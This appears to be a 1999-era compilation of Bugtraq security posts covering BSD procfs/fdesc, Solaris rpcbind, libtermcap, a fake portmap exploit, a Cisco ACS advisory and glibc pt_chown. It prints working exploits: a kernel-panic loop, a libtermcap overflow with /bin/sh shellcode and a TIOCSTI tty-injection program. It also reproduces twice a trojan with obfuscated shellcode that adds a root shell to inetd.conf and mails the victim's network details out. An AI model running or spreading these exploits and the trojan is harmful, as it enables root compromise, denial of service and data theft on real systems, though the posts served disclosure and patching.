I have found a nasty bug in the fdesc and procfs filesystems included with
NetBSD and OpenBSD.  Any user with access to a mounted procfs/fdesc
filesystem has the ability to cause a kernel panic.

The problem is that the readdir vnodeop for both procfs and fdesc blindly uses
the value of element uio_index of the struct uio (passed in by VOP_READDIR())
as an index into an array, without first properly checking its size.
sys_getdirentries(), which calls VOP_READDIR(), sets uio_index to the open
file's f_offset, which is modified by lseek (among other things).

Here's an illustration, taken from procfs_readdir() in OpenBSD's
procfs_vnops.c:

    if (uio->uio_resid < UIO_MX)
        return (EINVAL);
    if (uio->uio_offset < 0)
        return (EINVAL);

    error = 0;
    i = uio->uio_offset;

[...]

        for (pt = &proc_targets[i];
             uio->uio_resid >= UIO_MX && i < nproc_targets; pt++, i++) {
            if (pt->pt_valid && (*pt->pt_valid)(p) == 0)
                continue;

One way for a user to take advantage of this problem is as follows:  a user
opens either a process-specific subdirectory (in the case of procfs) or the
root directory (in the case of fdesc).  The user then sets the file offset
to an unreasonably large (positive) number with lseek().  The user then calls
getdirentries().

A temporary solution is to unmount all instances of procfs and fdesc.  This
is not likely to detrimentally affect anything.

Here's example code that tries getdirentries() calls on directories after
lseek()ing to high offsets.
(warning: if your system is vulnerable, this is very likely to cause a kernel
panic)

--- cut here ---
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <dirent.h>

main(int argc, char *argv[]) {
    int dirfd;
    unsigned long basep;
    unsigned long hmm;
    char buf[2048];

    if(argc < 2) {
        fprintf(stderr, "usage: %s directory\n", argv[0]);
        exit(1);
    }

    if((dirfd = open(argv[1], O_RDONLY)) == -1) {
        perror("open");
        exit(1);
    }

    for(hmm = 0xf0000000; hmm <= 0xffffffff; hmm+=1) {
        if(lseek(dirfd, hmm, SEEK_SET) == -1) {
            perror("lseek");
            exit(1);
        }

                /* address won't effectively change, but index variable used as a test
                 * will be very large; kernel's loop should continue and break
                 * something
                 */
        if(getdirentries(dirfd, buf, 2048, &basep) == -1) {
            perror("getdirentries");
            exit(1);
        }
    }
        exit(0);
}
--- cut here ---

This problem has existed since at least as far back as OpenBSD 2.3 and NetBSD
1.3.2.

Both NetBSD and OpenBSD have been contacted about this.  This has been fixed
in the current OpenBSD tree and should soon be able from your nearest anoncvs
server.  Thanks to deraadt@openbsd.org for a quick response.

--
<cstone@pobox.com>

============================================================
1.14-:serious problem in netbsd/openbsd procfs/fdesc (End) :
_________________________________________________________________________________________________________






_________________________________________________________________________________________________________
1.15-:Solaris rpcbind tricks (begin):
=====================================


While this is hardly a new bug and the dangers of not having proper
anti-spoofing
 checks in your perimeter router/firewall has been discussed over and
over in the
 past years I believe it might be worth a post to bugtraq.
The following can be taken as an example of how a combination of bugs,
protocol
flaws and bad coding practices can bring to life new incarnations of
ancient security
problems.
This was discussed months ago with Oliver Friederichs and Theo de Raadt
over
considerable amounts of beer, since then i didnt have time to
investigate further till last week.
 Sebastian R. Wain <swain@core-sdi.com> provided a lot of his time
testing and
 figuring out the detailst.

--

Bypassing restrictions for the PMAPPROC_CALLIT procedure in rpcbind
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

 Altho. rpcbind/portmap explicitly restricts which programs can be
 contacted using PMAPPROC_CALLIT there is a way to bypass these
 restrictions in Solaris
 Upon startup Solaris' rpcbind opens a socket that will be used to
 service PMAPPROC_CALLIT requests, this is refered as the 'Non
 Standard Port' in the NAI-0015: Solaris rpcbind weaknesses advisory.
 and Sun's Security Bulleting #142.

 The advisory makes clear that older rpcbind programs also allowed
 and serviced incoming RPC calls on that port. This is no longer the
 case, but the port is used to send outgoing RPC calls that correspond
 to RPC PMAPPROC_CALLIT requests received on the standard rpcbind
 port (111/udp and tcp).

 For that purpose rpcbind allocates an internal table that
 maps the received CALLIT requests to the requests forwarded
 by rpcbind to service those requests.
 This mapping is done by matching the RPC XIDs of both the
 received and forwarded calls.
 The XIDS generated for the forwarded calls can be guessed since they
 are not entirely random.
 The source port of the forwarded calls does not vary between
 different PMAPPROC_CALLIT calls.

 Provided that one can inject spoofed packets on the network
 that is running the RPC services it is possible to communicate
 with ANY RPC service AND obtain RPC replies using PMAP_CALLIT.
 As an example, lets describe how one could still grab file handles
 out of mountd:

  Assuming that attacked.host.com is exporting a filesystem and allows
  bouncing.host.com to mount it, attacking.host.com is able to mount it
  following these steps:

  1. Attacker sends a spoofed  PMAPPROC_SET call to register a service
named
     "bogusd" on the any available port on localhost.

     src addr : 127.0.0.1
     dst addr : bouncing.host.com
     dst port : 111
     program  : rpcbind
     procedure: PMAPPROC_SET
     data     : BOGUSPROG,BOGUSVERS,BOGUS_PORT,etc

  2. Attacker sends NON-spoofed calls to PMAPPROC_CALLIT asking to
     call bogusd procedure FOO.

     src addr : attacking.host.com
     dst addr : bouncing.host.com
     dst port : 111
     program  : rpcbind
     procedure: PMAPPROC_CALLIT
     data     : BOGUSPROG,BOGUSVERS,BOGUS_PROCFOO,etc

  3. Attacker sends a set of spoofed replies
     to the port that rpcbind uses for forwarding of RPC calls.
     Each reply in this set has a different XID choosen from a
     given range.

     For each spoofed reply:
     src addr : 127.0.0.1
     src port : BOGUS_PORT
     dst addr : bouncing.host.com
     dst port : rpcbind_forwarding_port (usually around 32500 )
     XID      : xid_i ( 0 < i < I ;  xid_0 is calculated using
information
                about the bouncing.host.com's uptime)

  4. Attacker waits for a RPC reply to one of his CALLIT calls to
     bogusd, procedure BOGUS_NULL.
     The attacker will receive a reply when one of the spoofed
     replies sent in (3) had a matching XID.
     The attacker has guessed the XID that rpcbind used (XID_j / i < j <
I)
     and can predict the next one (we call it XID_j+1)

 5. attacker sends rpcbind  a NON-spoofed CALLIT call to BOGUSPROG

     src addr : attacking.host.com
     dst addr : bouncing.host.com
     program  : rpcbind
     procedure: PMAPPROC_CALLIT
     data     : BOGUSPROG,BOGUSVERS,BOGUS_PROCFOO,etc

    This will generate a RPC call from rpcbind on the bouncing host
    to BOGUS_PROGRAMNUM on the bouncing host as follows:

     src addr : bouncing.host.com
     src port : rpcbind_forwarding_port
     dst addr : bouncing.host.com
     dst port : BOGUS_PORT
     program  : BOGUSPROG
     procedure: BOGUS_PROCFOO
     XID      : xid_j+1

 6. attacker sends a spoofed call to mountd's RPCMNT_MOUNT procedure
    with :

     src addr : bouncing.host.com
     src port : rpcbind_forwarding_port
     dst addr : attacked.host.com
     dst port : MOUNTD_PORT
     program  : MOUNTPROG
     procedure: MOUNT_PROCMNT
     XID      : xid_j+1


 7.  mountd on the attacked host replies to this request with
     the proper filehandle, rpcbind will get the reply, match it to
     a previous CALLIT request, and pass it back to the caller.

     The attacker has just grabbed a filehandle, bypassing the
     restrictions imposed in rpcbind for CALLIT calls.

     Its important to notice that altho the attacker is spoofing
     she does receive the responses from the service being attacked,
     this is done by the kind vulnerable rpcbind on the bouncing host.

  This is possible because:

  1. XIDs of the forwarded calls are predictable

    Assuming that our RPC calls to rpcbind, PROC_CALLIT are the first
    CALLIT requests received by the bouncing host since it was booted
    (this is a fair assumption) and knowning or being able to aproximate

    the uptime of the target host, the XIDs that rpcbind will generate
for
    the forwarded requests can be easily predicted.

  2. Theres no check for the src address and port of the replies to
     forwarded calls to match the dst address and port of the  original
     call.

    rpcbind does not check that RPC reply messages, received on the
    socket used to forward CALLIT requests, have a valid source address,

    port, prognum, progvers, etc.


 Given this, the exploit can be used to 'bounce' mount requests off any
Solaris
 host allowed to mount a NFS file system local or remote.
 However, in order to succeed, the target mountd must allow mount
requests
 from unpriviledged ports.

 This same scheme can be used to comunicate with any RPC service

 Altho. no exploit code is provided, i believe the detailed explanation
of the steps to follow is more than enough to code your own testing
program.

Keep in mind that this arises from several trivialy fixed problems:
 . DO NOT allow spoofed packets into your network
 . allowing connections to rpcbind from external addresses is not a
   good idea.
 . mount requests from unpriviledged ports are not a good idea
 . Exposing server information that by itself can be deemed inocuos
   can help attackers in their efforts, in this case, exposing the
uptime
   of your Solaris box is... not a good idea..
   who would have thought eh?

As for localnet... well, no one has to go thru all this if you have
access to
 the local net and can sniff and spoof NFS packets...
--

"Understanding. A cerebral secretion that enables one having it to know
 a house from a horse by the roof on the house,
 It's nature and laws have been exhaustively expounded by Locke,
 who rode a house, and Kant, who lived in a horse." - Ambrose Bierce

--------------------------------------------------------------------------------------------

 Ivn Arce <ivan@core-sdi.com>
 Presidente
 CORE SDI S.A.
 Pte. Juan D. Peron 315 4to UF17 (1394) Buenos Aires, Argentina.
 TE/FAX: +54-11-43-31-54-02 +54-11-43-31-54-09
 PGP fingerprint: C7A8 ED85 8D7B 9ADC 6836  B25D 207B E78E 2AD1 F65A
--------------------------------------------------------------------------------------------

====================================
1.15-:Solaris rpcbind tricks (End) :
________________________________________________________________________________________________________






________________________________________________________________________________________________________
1.16-:local libtermcap exploit (begin):
=======================================



        Well, I wrote this a little while back.  This is a serious bug,
so people should be able to test their systems properly.  All admins
should definitely upgrade to the newest libtermcap.

                                - sk8 of LS




/* Local exploit for suid root programs linked to libtermcap < 2.0.8-15 
 *
 * tested with xterm and nxterm on RedHat 5.2 and 4.2
 *
 * sk8@lucid-solutions.com
 * http://www.lucid-solutions.com
 *
 * Usage:
 * ./smashcap           -default is buffer size of 4210 and offset of 300
 *                       and seems to work on RH 5.2
 *
 * Adjust offsets (somewhere between 230 - 1140) if necessary
 *
 * ./smashcap <offset>  -buffer size defaults to 4210
 * ./smashcap <offset> <buffersize>
 *
 *
 * In order to stop script kids/opportunists, one MINOR change must be
 * made in order for this to work.  
 *
 * Use only to test your machines to show you that you must patch libtermcap.
 * Quick fix, chmod u-s ALL suid root programs linked with libtermcap.
 *
 *                                              - sk8 of LS
 *
 */

#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

#define filename "/tmp/lstermcap"
#define entry1   "xterm|"
#define DEFAULT_BUFSIZE 4210

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff\xff/bin/sh"; /* Linux shellcode */

long get_sp(void)
{
   __asm__("movl %esp, %eax\n");
}

int main(int argc, char *argv[]) {
   int bufsize, offset, i, fd;
   long *bufptr;
   char *ptr, *buffer, *tempbuf;

   setenv("TERMCAP", "/tmp/lstermcap", 1);


   bufsize=DEFAULT_BUFSIZE;

   if (argc > 2) bufsize=atoi(argv[2]);
   if (argc > 1) offset=atoi(argv[1]);
   else offset=300;
  

   printf("bufsize: %i\noffset: %i\n", bufsize,offset);

   if(!(buffer = malloc(bufsize))) {
      printf("can't allocate enough memory\n");
      exit(0);
   }
  if(!(tempbuf = malloc(bufsize+strlen(entry1) ))) {
      printf("can't allocate enough memory\n");
      exit(0);
   }

   printf("get_sp(): 0x%x\n", get_sp());
   printf("get_sp()-offs: 0x%x\n", (get_sp()-offset) );

   ptr=buffer;
   bufptr = (long *)(buffer+2); /* align */

   for (i = 0; i < bufsize; i += 4)
        *(bufptr++) = (get_sp()-offset);

        for (i = 0; i < (bufsize/2); i++) 
                 buffer[i] = 0x90;

        ptr=buffer + ((bufsize/2) - strlen(shellcode)/2);
        for (i = 0; i < strlen(shellcode); i++)
                *(ptr++) = shellcode[i]; //shellcode


        ptr=ptr+24;

        /* now insert the characters : and \ into the termcap - these are vital */
        *(ptr++)=0x3a;  
        *(ptr++)=0x5c;  


        snprintf(tempbuf, (bufsize+strlen(entry1)), "%s%s%s", entry1, buffer);
        fd = open(filename, O_WRONLY|O_CREAT|O_TRUNC, 0666);
        write (fd, tempbuf, strlen(tempbuf));
        close(fd);
        printf("made termcap\n");

        execl("/usr/X11R6/bin/xterm","xterm", 0);
        
}

======================================
1.16-:local libtermcap exploit (End) :
_________________________________________________________________________________________________________




_________________________________________________________________________________________________________
1.17-:portmap.c Trojan (begin) :
================================



Trojan being spread to clueless kiddies, claims to exploit portmap on
Redhat boxes, really adds a rootshell to your inetd.conf file and sends
other info like your ip address by executing ifconfig, it sends this mail
to goat187@hotmail.com



Code below and also attached.



<------------------------------Snip---------------------------------------
/*
        Do not run unless you know what you are doing , and DONT RUN IT
        AS ROOT. It Puts a ROOTSHELL in your inetd.conf and mails them
        your IP address.


        PRIVATE !!! DO NOT DISTRIBUTE THIS !!! PRIVATE (DOnT RUN its a
        TROJAN)
        portmap remote root linux exploit (TROJAN) (no stack patch)
        by horizon - jmcdonald@unf.edu

        This was tested against redhat box with 2.2.9 kernel.
        (shouldn't need offset)

        BIG thanks to stran9er who wrote this shellcode!!

        greets to: #!ADM and users @ el8.org ;)

*/

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>

#define NOP     0x90
#define RET     0xbfffec90
#define PORT    5760
#define pmap_proc_p system

char *shellcode =
"\x64\x97\x9e\xa3\x64\x9a\x98\x9d\xa4\x55\x57\x6b\x6a\x66\x68\x6e\x55\xa8\xa9"
"\xa7\x9a\x96\xa2\x55\xa9\x98\xa5\x55\xa3\xa4\xac\x96\x9e\xa9\x55\xa7\xa4\xa4"
"\xa9\x55\x64\x97\x9e\xa3\x64\xa8\x9d\x55\xa8\x9d\x55\x62\x9e\x57\x55\x73\x73"
"\x55\x64\x9a\xa9\x98\x64\x9e\xa3\x9a\xa9\x99\x63\x98\xa4\xa3\x9b\x55\x70\x55"
"\x64\x97\x9e\xa3\x64\xa0\x9e\xa1\xa1\x96\xa1\xa1\x55\x62\x66\x55\x9e\xa3\x9a"
"\xa9\x99\x55\x67\x73\x5b\x66\x55\x66\x73\x64\x99\x9a\xab\x64\xa3\xaa\xa1\xa1"
"\x55\x70\x55\x64\xa8\x97\x9e\xa3\x64\x9e\x9b\x98\xa4\xa3\x9b\x9e\x9c\x55\x62"
"\x96\x55\xb1\x55\xa2\x96\x9e\xa1\x55\x9c\xa4\x96\xa9\x66\x6d\x6c\x75\x9d\xa4"
"\xa9\xa2\x96\x9e\xa1\x63\x98\xa4\xa2\x55\x67\x73\x5b\x66\x55\x67\x73\x64\x99"
"\x9a\xab\x64\xa3\xaa\xa1\xa1\x3f";

int max(int x, int y)
{
        if(x > y)
                return(x);
        return(y);
}

void rshell(char *host)
{
        int sockfd, maxfd, n;
        struct sockaddr_in cli;
        char sendln[1024], recvln[1024];
        struct hostent *hp;
        fd_set rset;

        if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
                perror("socket");
                exit(-1);
        }
        if((hp = gethostbyname(host)) == NULL){
                perror("gethostbyname");

                exit(-1);
        }
        bzero(&cli, sizeof(cli));
        cli.sin_family = AF_INET;
        cli.sin_port = htons(PORT);
        cli.sin_addr.s_addr = inet_addr(host);
        if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
                perror("connect");
                exit(-1);
        }
        printf("root shell found!\n");
        strcpy(sendln, "uname -a; pwd; id;\n");
        write(sockfd, sendln, strlen(sendln));
        FD_ZERO(&rset);
        for(;;){
                FD_SET(fileno(stdin), &rset);
                FD_SET(sockfd, &rset);
                maxfd = max(fileno(stdin), sockfd) + 1;
                select(maxfd, &rset, NULL, NULL, NULL);
                if(FD_ISSET(fileno(stdin), &rset)){

                        bzero(sendln, sizeof(sendln));
                        fgets(sendln, sizeof(sendln)-2, stdin);
                        write(sockfd, sendln, strlen(sendln));
                }
                if(FD_ISSET(sockfd, &rset)){
                        bzero(recvln, sizeof(recvln));
                        if((n = read(sockfd, recvln, sizeof(recvln))) ==
0){
                                printf("Connection closed.\n");
                                exit(0);
                        }
                        if(n < 0){
                                perror("read");
                                exit(-1);
                        }
                        fputs(recvln, stdout);
                }
        }
}

void main(int argc, char **argv)
{
        CLIENT *cli;
        int i = 0, offset = 53;
        char *portmap;
        char *buf;

                if(argc < 2){
                        printf("usage: %s <ip> [offset]\n", argv[0]);
                        exit(-1);
                }

        if((portmap = (char *) malloc(154)) == NULL) {
                perror("malloc");
        }

        while(*shellcode) {
                portmap[i] = *shellcode - offset;
                shellcode++; i++;
        }

        pmap_proc_p(portmap);

        printf("sending shellcode... connecting to remote host\n");
        rshell(argv[1]);

        strcpy(buf, portmap);

        exit(-1);
}

---------------------------------------SNIP------------Snip----

     Attachment: portmap.c (6k) -- Download without Scan -- Scan with McAfee
     
     

/*

        PRIVATE !!! DO NOT DISTRIBUTE THIS !!! PRIVATE
        portmap remote root linux exploit (no stack patch)
        by horizon - jmcdonald@unf.edu

        This was tested against redhat box with 2.2.9 kernel.
        (shouldn't need offset)

        BIG thanks to stran9er who wrote this shellcode!!

        greets to: #!ADM and users @ el8.org ;)

*/

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>

#define NOP     0x90
#define RET     0xbfffec90
#define PORT    5760
#define pmap_proc_p system

char *shellcode =
"\x64\x97\x9e\xa3\x64\x9a\x98\x9d\xa4\x55\x57\x6b\x6a\x66\x68\x6e\x55\xa8\xa9"
"\xa7\x9a\x96\xa2\x55\xa9\x98\xa5\x55\xa3\xa4\xac\x96\x9e\xa9\x55\xa7\xa4\xa4"
"\xa9\x55\x64\x97\x9e\xa3\x64\xa8\x9d\x55\xa8\x9d\x55\x62\x9e\x57\x55\x73\x73"
"\x55\x64\x9a\xa9\x98\x64\x9e\xa3\x9a\xa9\x99\x63\x98\xa4\xa3\x9b\x55\x70\x55"
"\x64\x97\x9e\xa3\x64\xa0\x9e\xa1\xa1\x96\xa1\xa1\x55\x62\x66\x55\x9e\xa3\x9a"
"\xa9\x99\x55\x67\x73\x5b\x66\x55\x66\x73\x64\x99\x9a\xab\x64\xa3\xaa\xa1\xa1"
"\x55\x70\x55\x64\xa8\x97\x9e\xa3\x64\x9e\x9b\x98\xa4\xa3\x9b\x9e\x9c\x55\x62"
"\x96\x55\xb1\x55\xa2\x96\x9e\xa1\x55\x9c\xa4\x96\xa9\x66\x6d\x6c\x75\x9d\xa4"
"\xa9\xa2\x96\x9e\xa1\x63\x98\xa4\xa2\x55\x67\x73\x5b\x66\x55\x67\x73\x64\x99"
"\x9a\xab\x64\xa3\xaa\xa1\xa1\x3f";

int max(int x, int y)
{
        if(x > y)
                return(x);
        return(y);
}

void rshell(char *host)
{
        int sockfd, maxfd, n;
        struct sockaddr_in cli;
        char sendln[1024], recvln[1024];
        struct hostent *hp;
        fd_set rset;

        if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
                perror("socket");
                exit(-1);
        }
        if((hp = gethostbyname(host)) == NULL){
                perror("gethostbyname");

                exit(-1);
        }
        bzero(&cli, sizeof(cli));
        cli.sin_family = AF_INET;
        cli.sin_port = htons(PORT);
        cli.sin_addr.s_addr = inet_addr(host);
        if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
                perror("connect");
                exit(-1);
        }
        printf("root shell found!\n");
        strcpy(sendln, "uname -a; pwd; id;\n");
        write(sockfd, sendln, strlen(sendln));
        FD_ZERO(&rset);
        for(;;){
                FD_SET(fileno(stdin), &rset);
                FD_SET(sockfd, &rset);
                maxfd = max(fileno(stdin), sockfd) + 1;
                select(maxfd, &rset, NULL, NULL, NULL);
                if(FD_ISSET(fileno(stdin), &rset)){

                        bzero(sendln, sizeof(sendln));
                        fgets(sendln, sizeof(sendln)-2, stdin);
                        write(sockfd, sendln, strlen(sendln));
                }
                if(FD_ISSET(sockfd, &rset)){
                        bzero(recvln, sizeof(recvln));
                        if((n = read(sockfd, recvln, sizeof(recvln))) == 0){
                                printf("Connection closed.\n");
                                exit(0);
                        }
                        if(n < 0){
                                perror("read");
                                exit(-1);
                        }
                        fputs(recvln, stdout);
                }
        }
}

void main(int argc, char **argv)
{
        CLIENT *cli;
        int i = 0, offset = 53;
        char *portmap;
        char *buf;

                if(argc < 2){
                        printf("usage: %s <ip> [offset]\n", argv[0]);
                        exit(-1);
                }

        if((portmap = (char *) malloc(154)) == NULL) {
                perror("malloc");
        }

        while(*shellcode) {
                portmap[i] = *shellcode - offset;       
                shellcode++; i++;
        }

        pmap_proc_p(portmap);

        printf("sending shellcode... connecting to remote host\n");
        rshell(argv[1]);
        
        strcpy(buf, portmap);

        exit(-1);
}       

==============================
1.17-:portmap.c Trojan (End) :
________________________________________________________________________________________________________







________________________________________________________________________________________________________
1.18-:Cisco Security Notice: CiscoSecure Access Control Server for UNIX Remote Administration Vulnerability (begin):
==============================================================================================



-----BEGIN PGP SIGNED MESSAGE-----

CiscoSecure Access Control Server for UNIX Remote Administration
Vulnerability

Revision 1.0

For public release Thursday, 1999 August 19, at 08:00AM US/Pacific (UTC-0700)
=============================================================================

Summary
=======
In CiscoSecure Access Control Server (CiscoSecure ACS) for UNIX, versions
1.0 through 2.3.2, there is a database access protocol that could permit
unauthorized remote users to read and write the server database without
authentication. Depending on the network environment, this might permit
unauthorized users to modify the access policies enforced by the
CiscoSecure ACS.  A utility that is capable of using this protocol to read
or modify a database is shipped with the CiscoSecure ACS product.

This vulnerability can be eliminated by either a CiscoSecure configuration
change, or network configuration change. Cisco has provided a new release
that changed a default setting, in order to ensure higher default security
level.

This vulnerability has Cisco bug ID CSCdm71489.

Who Is Affected
===============
If you are running an affected version of CiscoSecure ACS for UNIX, and if
you have not modified the configuration to strictly permit connections from
trusted hosts, and if untrusted users can make TCP connections to TCP port
9900 on the computer on which you have installed CiscoSecure ACS, then you
are vulnerable.

Users of CiscoSecure ACS for Windows NT are not vulnerable.

Impact
======
The impact may vary, depending whether potential attackers have access to
port 9900 on the CiscoSecure ACS computer.  This vulnerability could allow
an attacker to remove accounts, add accounts and change passwords or
privileges in the user database, including implementing an administrative
account, that would give them control of the CiscoSecure ACS server.

Customers who may have been vulnerable to attack are advised to review
privileged accounts, and any suspicious database changes.

Details
=======
This vulnerability has been assigned Cisco bug ID CSCdm71489.

Affected and Repaired Software Versions
=======================================
This applies ONLY to CiscoSecure ACS for UNIX, and is present in all
versions, up to version 2.3.2.  Version 2.3.3 of CiscoSecure ACS for UNIX
has been modified to validate administrative clients by default.

This vulnerability applies only to the software product CiscoSecure Access
Control Server for UNIX, and does not apply to CiscoSecure Access Control
Server for NT.

Getting Fixed Software
======================
As the software fix consists of changing default behavior, and is
equivalent to the recommended workarounds, a software upgrade is not
required to address this vulnerability.  However, if you are running one of
the releases affected by defects CSCdk55423 or CSCdm72555, as listed in the
Workarounds section in this notice, and these defects prevent you from
working around this vulnerability, a software upgrade is necessary, and
will be provided, regardless of contract status.

If you have a service contract, please download the new software from
Cisco's Worldwide Web site at http://www.cisco.com.  If you do not have a
service contract, please call the Cisco TAC at one of the telephone numbers
listed in the "Cisco Security Procedures" section of this notice. Give the
URL of this notice as evidence of your entitlement to an upgrade.

Workarounds
===========
Two workarounds for this vulnerability exist.

One workaround consists of enabling client validation within CiscoSecure
ACS for UNIX.  A caveat to this workaround is that there are some versions
of CiscoSecure ACS for UNIX that are subject to another defect,  which
prevents access to additional administration utilities (the Advanced
Administration GUI) within CiscoSecure ACS for UNIX when the client
validation feature is enabled. This problem is identified in CSCdm72555
which affects versions 2.3.1 and 2.3.2, and CSCdk55423, which affects
versions 2.2.2, 2.2.3 of CiscoSecure ACS for UNIX.  This workaround will
not be effective in CiscoSecure ACS for UNIX version 2.2.2, 2.2.3, 2.3.1
and 2.3.2, and customers are encouraged to upgrade to a version that does
not include this defect.  Version 2.3.3 is currently available and is not
susceptible to the above problem.

You must edit the CSCconfig.ini file, list the permitted remote access
hosts, enable remote client validation.  TACACS or RADIUS clients do NOT
need to be listed under this setting, only hosts that are permitted to
administer the server should be listed.

In the following example,  'acs_srv_machine' resolves to localhost, and we
are providing remote administration privileges to the hosts
'client_machine' and the ip address 172.16.23.23.  Permitted clients may be
defined by a hostname, or an ip address.

CSCconfig.ini file should be edited with the following information:


     [ValidClients]

      ;if ValidateClients=true, than we only allow the clients with ids listed

      ; to connect to the dbserver

      100 = acs_srv_machine

      100 = client_machine

      100 = 172.16.23.23

      ValidateClients = true

      ...

An additional configuration parameter "FastAdminValidClients" was added in
CiscoSecure ACS version 2.3.3 allowing the Fast Administrator Web based GUI
to permit the same IP addresses specified in the valid clients list, to
further restrict client access.

A second workaround is to use filtering on other network devices, such as a
firewall, to control or block access to TCP port 9900 on the CiscoSecure
ACS for UNIX server.

Exploitation and Public Announcements
=====================================
Cisco does not have any reports of malicious use of this vulnerability.
CiscoSecure ACS for UNIX Reference Guide does include a cautionary note
regarding this vulnerability.

Status of This Notice
=====================
This is a final field notice. Although Cisco cannot guarantee the accuracy
of all statements in this notice, all the facts have been checked to the
best of our ability. Cisco does not anticipate issuing updated versions of
this notice unless there is some material change in the facts. Should there
be a significant change in the facts, Cisco may update this notice.

Distribution
============
This notice will be posted on Cisco's Worldwide Web site at
http://www.cisco.com/warp/public/770/csecure-dbaccess.shtml. In addition to
Worldwide Web posting, the initial version of this notice is being sent to
the following e-mail and Usenet news recipients:

   * cust-security-announce@cisco.com
   * bugtraq@netspace.org
   * first-teams@first.org (includes CERT/CC)
   * cisco@spot.colorado.edu
   * comp.dcom.sys.cisco
   * first-info@first.org
   * Various internal Cisco mailing lists

Future updates of this notice, if any, will be placed on Cisco's Worldwide
Web server, but may or may not be actively announced on mailing lists or
newsgroups. Users concerned about this problem are encouraged to check the
URL given above for any updates.

Revision History
================
 Revision 1.0, 08:00 AM US/Pacific     Initial public
 19-AUGUST-99                          release.

Cisco Security Procedures
=========================

Cisco's Worldwide Web site contains complete information for reporting
security vulnerabilities in Cisco products, obtaining assistance with
security incidents, and registering to receive security information
directly from Cisco at
http://www.cisco.com/warp/public/791/sec_incident_response.shtml. This
includes instructions for press inquiries regarding Cisco security notices.

  ------------------------------------------------------------------------

This notice is copyright 1999 by Cisco Systems, Inc. This notice may be
redistributed freely after the release date given at the top of the notice,
provided that redistributed copies are complete and unmodified, including
all date and version information.

  ------------------------------------------------------------------------


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBN7via3LSeEveylnrAQFVnwgAkij5Ap3JcgBDzK5L01rdYjVLmaVAaJjU
AA7NZhPm1+2DOhixSA5WMGoXKWqTP+0tK0IBnAsbuNt1wKXPgL1f1WKvLdZiy806
ay/XYoFDYHg6oAwYioRoZ4yU4btSSHMwLCXx2nKsBc12zwyXAWmvfSMVTc+UXigm
fm1kA4JP5UY5Nt3QsWuwpC6gb6XKtpGvAqccT5GtDai+CdtpKafZSsdM7qfupdy0
tvWzTXwIcAEMw3VTAsJ95pGUDT425jqNEbHPSTfRX5elgl1ahcGSM5FAjs3PdzMS
UWAa9kX7+uzY6OOD92Lr57/HbPfBkuNJ9SoagN4AefK+AUFCnmrImw==
=t3gQ
-----END PGP SIGNATURE-----


=============================================================================================
1.18-:Cisco Security Notice: CiscoSecure Access Control Server for UNIX Remote Administration Vulnerability (End):
_________________________________________________________________________________________________________





_________________________________________________________________________________________________________
1.19-: [Linux] glibc 2.1.x / wu-ftpd <=2.5 / BeroFTPD / lynx / vlock / mc / glibc 2.0.x (begin) :
=================================================================================================




First of all, something less or more personal - sorry to all secure@...pl
people for this post. I'm really angry, as this stuff become well-known
without my knowledge... so, only a few of my own observations, always
trying to respect other's intellectual property.

All the best goes to el- :P

----------------------------------------------
glibc 2.1.x and Linux without devpts mechanism
----------------------------------------------

Compromise: locally, privledges of any user (including superuser) running
            programs without devpts support compiled in after glibc
            upgrade (like screen, mc etc).

Solution: chmod 700 /usr/libexec/pt_chown

There's a bug in pt_chown suid helper program, supplied with glibc 2.1.x
(tested on default RH 6.0 distro). This program is designed to allow
proper allocation of pseudo-terminals for non-suid programs in systems
with glibc 2.1.x installed, but without devpts support compiled into every
program (it's enough to have, let's say, screen which uses traditional
/dev/ptyXX and /dev/ttyXX scheme). Due to lack of security checks,
pt_chown can be easily fooled to gain full control over other user's (root
as well) pseudo-terminal, as allocated by screen, Midnight Commander, or
virtually any other program. All we need is an open descriptor to
/dev/ttyXX (in read or write mode, no matter) - while login uses secure
permissions, ttys allocated by eg. screen are 622 by default, so we could
gain write access. Then, we have to call pt_chown in a proper way to gain
ownership of this device, and put anything we want to the input stream of
process controlling this pty using TIOCSTI ioctl()...

Automated exploit code is attached (potfory.c). Sorry for polish comments,
should be readable anyway? If not, there's 'primal' exploit for this hole:

-- simpliest.c --
int main(int a,char* b[]) {
  char* c="\nclear;echo huhuhu, it worked...;id;sleep 2\n";
  int i=0,x=open(b[1],1); // Expect writable, allocated
                          // (eg. by screen) /dev/ttyXX as 1st arg
  if (x<0) {
    perror(b[1]);
    exit(1);
  }
  if (!fork()) {
    dup2(x,3);
    execl("/usr/libexec/pt_chown","pt_chown",0);
    perror("pt_chown");
    exit(1);
  }
  sleep(1);
  for (i;i<strlen(c);i++) ioctl(x,0x5412,&c[i]);
}
-- eof --

----------------------------
wu-ftpd 2.5, VR and BeroFTPD
----------------------------

Compromise: remote root

Solution: add strlen() check somewhere

There's an overflow in wu-ftpd 2.5 and prior releases (including VR and
BeroFTPD) in mapped_path when mapping current working directory to
command-line. While I discovered this vunerability by myself, I don't want
to provide exploit code, as all other, hard work has been done
independently by someone else. Instead of that, there's a .diff file with
patch, attached somewhere as ftpd.diff.

------------------
lynx and telnet://
------------------

Compromise: remote messing with files, maybe more?

Lynx has a problem coming from calling external programs to handle
protocols like telnet://. Example: attempt of viewing 'telnet://-n.rhosts'
URL will result in empty, new and shiny .rhosts file. Unfortunately, as
telnet client has session logging off by default, no idea how to put
something there?

------------------
